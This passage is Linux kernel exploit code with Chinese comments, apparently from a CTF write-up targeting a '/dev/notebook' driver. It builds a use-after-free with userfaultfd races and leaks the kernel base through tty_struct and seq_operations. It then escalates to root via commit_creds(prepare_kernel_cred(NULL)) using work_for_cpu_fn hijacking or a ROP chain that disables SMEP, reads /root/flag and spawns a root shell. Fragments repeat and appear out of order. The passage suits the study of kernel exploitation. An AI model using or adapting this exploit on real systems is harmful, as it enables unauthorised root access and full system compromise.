        // 无限期休眠，挂起线程
        sleep(100000000);

        // 理论上不会执行到这里
        return NULL;
    }
}

/* 获取tty_struct大小的对象 */
note_add(0, 0x10, "BinRacerBinRacer");
note_edit(0, TTY_STRUCT_SIZE, fault_page);

void *fix_size_by_add(void *args) {
    sem_wait(&evil_add_sem);           // 等待信号量
    note_add(0, 0x60, uffd_buf);       // 执行添加操作
}

void *construct_uaf(void *args) {
    sem_wait(&evil_edit_sem);          // 等待信号量
    note_edit(0, 0, uffd_buf);         // 执行编辑操作，释放内存
}

/* 构造UAF条件 */
pthread_create(&edit_uaf_thread, NULL, construct_uaf, NULL);
pthread_create(&add_fix_size_thread, NULL, fix_size_by_add, NULL);

/* 先触发edit操作，释放内存 */
sem_post(&evil_edit_sem);
sleep(1);  // 等待kfree完成

/* 再触发add操作，修复size */
sem_post(&evil_add_sem);
sleep(1);  // 等待size修复

log.info("leaking kernel address...");

tty_fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
if (tty_fd < 0) {
    log.error("open /dev/ptmx failed!");
    exit(-1);
}

notebook_read(0, orig_tty_struct);
if (*(int *)orig_tty_struct != 0x5401) {
    log.error("Try Again!");
    exit(-1);
}

// 从tty_struct中提取内核地址
if ((orig_tty_struct[3] & 0xfff) == (PTY_UNIX98_OPS & 0xfff)) {
    kernel_offset = orig_tty_struct[3] - PTY_UNIX98_OPS;
    kernel_base += kernel_offset;
    log.success("leak pty_unix98_ops: 0x%lx", orig_tty_struct[3]);
}

tty_struct_addr = orig_tty_struct[0x38 / 8] - 0x38;
log.success("leak tty_struct heap addr: 0x%lx", tty_struct_addr);
log.success("Kernel base: 0x%lx", kernel_base);
log.success("Kernel offset: 0x%lx", kernel_offset);

memcpy((void *)fake_tty_struct, (void *)orig_tty_struct, TTY_STRUCT_SIZE);
log.info("changing the tty_struct->ops...");

// 修改tty_struct->ops指针
fake_tty_struct[3] = tty_struct_addr - 0x8;

// 修改tty_operations->ioctl为work_for_cpu_fn函数
log.info("changing the tty_operations->ioctl");
fake_tty_struct[11] = kernel_offset + WORK_FOR_CORE_FN;

// 设置prepare_kernel_cred为要调用的函数
fake_tty_struct[4] = kernel_offset + PREPARE_KERNEL_CRED;
fake_tty_struct[5] = (size_t)NULL;

struct work_for_cpu {
    struct work_struct work;
    long (*fn)(void *);
    void *arg;
    long ret;
};

static void work_for_cpu_fn(struct work_struct *work)
{
    struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);
    wfc->ret = wfc->fn(wfc->arg);  // 执行fn指针指向的函数
}

// 内存布局对应关系
// tty_struct[0] 对应 work_struct.data
// tty_struct[1] 对应 work_struct.entry.next
// tty_struct[2] 对应 work_struct.entry.prev
// tty_struct[3] 对应 work_struct.func (但被忽略)
// tty_struct[4] 对应 work_for_cpu.fn
// tty_struct[5] 对应 work_for_cpu.arg
// tty_struct[6] 对应 work_for_cpu.ret

fake_tty_struct[3] = tty_struct_addr - 0x8;  // 被忽略的work_struct.func
fake_tty_struct[4] = kernel_offset + PREPARE_KERNEL_CRED;  // work_for_cpu.fn
fake_tty_struct[5] = (size_t)NULL;  // work_for_cpu.arg

log.info("writing changed tty_struct...");
notebook_write(0, fake_tty_struct);

log.info("trigger prepare_kernel_cred(NULL)...");
ioctl(tty_fd, 0xdeadbeaf, 0xdeadbeaf);

log.info("reading return value of prepare_kernel_cred(NULL)...");
notebook_read(0, fake_tty_struct);

log.info("writing changed tty_struct again...");
fake_tty_struct[4] = kernel_offset + COMMIT_CREDS;
fake_tty_struct[5] = fake_tty_struct[6];  // prepare_kernel_cred的返回值

notebook_write(0, fake_tty_struct);
log.info("trigger commit_creds(&root_cred)...");
ioctl(tty_fd, 0xdeadbeaf, 0xdeadbeaf);

log.info("fix the tty_struct...");
notebook_write(0, orig_tty_struct);

get_root_shell();

#define SINGLE_START 0xffffffff811dd500
#define PREPARE_KERNEL_CRED 0xffffffff8107f9c0
#define COMMIT_CREDS 0xffffffff8107f6f0

#define POP_RAX_POP_RBP_RET 0xffffffff810778f6
#define MOV_CR4_RAX_POP_RBP_RET 0xffffffff81038caa
#define ADD_RSP_0X198_POP_RBX_POP_RBP_RET 0xffffffff815d35cd

size_t user_cs, user_ss, user_rflags, user_sp;
size_t kernel_base = 0xffffffff81000000, kernel_offset = 0;
size_t prepare_kernel_cred = 0, commit_creds = 0;

size_t pop_rax_pop_rbp_ret;
size_t mov_cr4_rax_pop_rbp_ret;

void save_status() {
  asm volatile("mov user_cs, cs;"
               "mov user_ss, ss;"
               "mov user_sp, rsp;"
               "pushf;"
               "pop user_rflags;");
  log.info("Status has been saved.");
}

int flag_fd;
void get_root_shell(void) {
  char flag[0x100] = {0};
  if (getuid()) {
    log.error("Failed to get the root!");
    exit(-1);
  }

  log.success("Successful to get the root. Execve root shell now...");
  flag_fd = open("/root/flag", O_RDONLY);
  if (flag_fd < 0) {
    log.error("failed to open /root/flag!");
    exit(-1);
  }
  read(flag_fd, flag, sizeof(flag) - 1);
  log.success("Got flag: %s", flag);
  system("/bin/sh");
}

void *(*prepare_kernel_cred_kfunc)(void *task_struct);
int (*commit_creds_kfunc)(void *cred);

void ret2usr_attack(void) {
  prepare_kernel_cred_kfunc = (void *(*)(void *))prepare_kernel_cred;
  commit_creds_kfunc = (int (*)(void *))commit_creds;

  (*commit_creds_kfunc)((*prepare_kernel_cred_kfunc)(NULL));

  asm volatile("mov rax, user_ss;"
               "push rax;"
               "mov rax, user_sp;"
               "sub rax, 8;" /* stack balance */
               "push rax;"
               "mov rax, user_rflags;"
               "push rax;"
               "mov rax, user_cs;"
               "push rax;"
               "lea rax, get_root_shell;"
               "push rax;"
               "swapgs;"
               "iretq;");
}

void bind_core(int core) {
  cpu_set_t cpu_set;

  CPU_ZERO(&cpu_set);
  CPU_SET(core, &cpu_set);
  sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
  log.info("Process binded to core %d", core);
}

/**
 * Kernel structure
 **/
#define SEQ_OPERATIONS_SIZE 0x20
struct seq_file;
struct seq_operations {
  void *(*start)(struct seq_file *m, loff_t *pos);
  void (*stop)(struct seq_file *m, void *v);
  void *(*next)(struct seq_file *m, void *v, loff_t *pos);
  int (*show)(struct seq_file *m, void *v);
};

size_t ret2usr_func = (size_t)ret2usr_attack;

int main() {
  struct note_t kernel_notebook[NOTE_NUM] = {0};
  struct seq_operations seq_ops = {0};
  pthread_t uffd_monitor_thread, add_fix_size_thread, edit_uaf_thread;
  int i = 0;

  /* fundamental infastructure */
  save_status();
  bind_core(0);

  sem_init(&evil_add_sem, 0, 0);
  sem_init(&evil_edit_sem, 0, 0);

  /* open dev */
  note_fd = open("/dev/notebook", O_RDWR);
  if (note_fd < 0) {
    log.error("open /dev/notebook failed!");
    exit(-1);
  }

  /* register userfaultfd */
  log.info("register userfaultfd...");

  uffd_buf = (char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                          MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  register_userfaultfd_for_thread_stucking(&uffd_monitor_thread, uffd_buf,
                                           0x1000);

  /* get a tty-size object */
  log.info("allocating seq_operations-size object...");

  note_add(0, 0x10, "BinRacerBinRacer");
  note_edit(0, SEQ_OPERATIONS_SIZE, fault_page);

  /**
   * construct UAF by userfaultfd.
   * Note that we need to sleep(1) there to wait for the kfree() to be done,
   * so that the UAF object can be regetted later.
   */
  log.info("constructing UAF on seq_operations...");

  pthread_create(&edit_uaf_thread, NULL, construct_uaf, NULL);
  pthread_create(&add_fix_size_thread, NULL, fix_size_by_add, NULL);

  sem_post(&evil_edit_sem);
  sleep(1);

  /**
   * fix notebook[0]->size.
   * Note that we need to sleep(1) there to wait for the `size` to be fixed.
   */
  sem_post(&evil_add_sem);
  sleep(1);

  /* leak kernel_base by tty_struct */
  log.info("leaking kernel_base by seq_operations");

  seq_fd = open("/proc/self/stat", O_RDONLY);
  if (seq_fd < 0) {
    log.error("Failed to open /proc/self/stat!");
    exit(-1);
  }

  notebook_read(0, &seq_ops);
  log.success("leak single_start: 0x%lx", (size_t)seq_ops.start);
  kernel_offset = (size_t)seq_ops.start - SINGLE_START;
  kernel_base += kernel_offset;
  prepare_kernel_cred = kernel_offset + PREPARE_KERNEL_CRED;
  commit_creds = kernel_offset + COMMIT_CREDS;
  log.success("kernel base: 0x%lx", kernel_base);
  log.success("kernel offset: 0x%lx", kernel_offset);

  seq_ops.start = (void *(*)(struct seq_file *, loff_t *))(
      ADD_RSP_0X198_POP_RBX_POP_RBP_RET + kernel_offset);
  notebook_write(0, &seq_ops);

  pop_rax_pop_rbp_ret = kernel_offset + POP_RAX_POP_RBP_RET;
  mov_cr4_rax_pop_rbp_ret = kernel_offset + MOV_CR4_RAX_POP_RBP_RET;
  log.info("Preparing pt_regs...");
  __asm__("mov r15,   0xbeefdead;"
          "mov r14,   0x11111111;"
          "mov r13,   pop_rax_pop_rbp_ret;" // first part
          "mov r12,   0x6f0;"
          "mov rbp,   0x44444444;"
          "mov rbx,   mov_cr4_rax_pop_rbp_ret;"
          "mov r11,   0x66666666;"
          "mov r10,   ret2usr_func;" // second part
          "mov r9,    0x88888888;"
          "mov r8,    0x99999999;"
          "xor rax,   rax;"
          "mov rcx,   0xaaaaaaaa;"
          "mov rdx,   8;"
          "mov rsi,   rsp;"
          "mov rdi,   seq_fd;" // Trigger through seq_operations->stat
          "syscall");
  return 0;
}

struct seq_operations {
    void * (*start) (struct seq_file *m, loff_t *pos);
    void (*stop) (struct seq_file *m, void *v);
    void * (*next) (struct seq_file *m, void *v, loff_t *pos);
    int (*show) (struct seq_file *m, void *v);
};

struct pt_regs {
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long bp;
    unsigned long bx;
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long ax;
    unsigned long cx;
    unsigned long dx;
    unsigned long si;
    unsigned long di;
    unsigned long orig_ax;
    unsigned long ip;
    unsigned long cs;
    unsigned long flags;
    unsigned long sp;
    unsigned long ss;
};

notebook_read(0, &seq_ops);
log.success("leak single_start: 0x%lx", (size_t)seq_ops.start);
kernel_offset = (size_t)seq_ops.start - SINGLE_START;
kernel_base += kernel_offset;

seq_ops.start = (void *(*)(struct seq_file *, loff_t *))(
    ADD_RSP_0X198_POP_RBX_POP_RBP_RET + kernel_offset);
notebook_write(0, &seq_ops);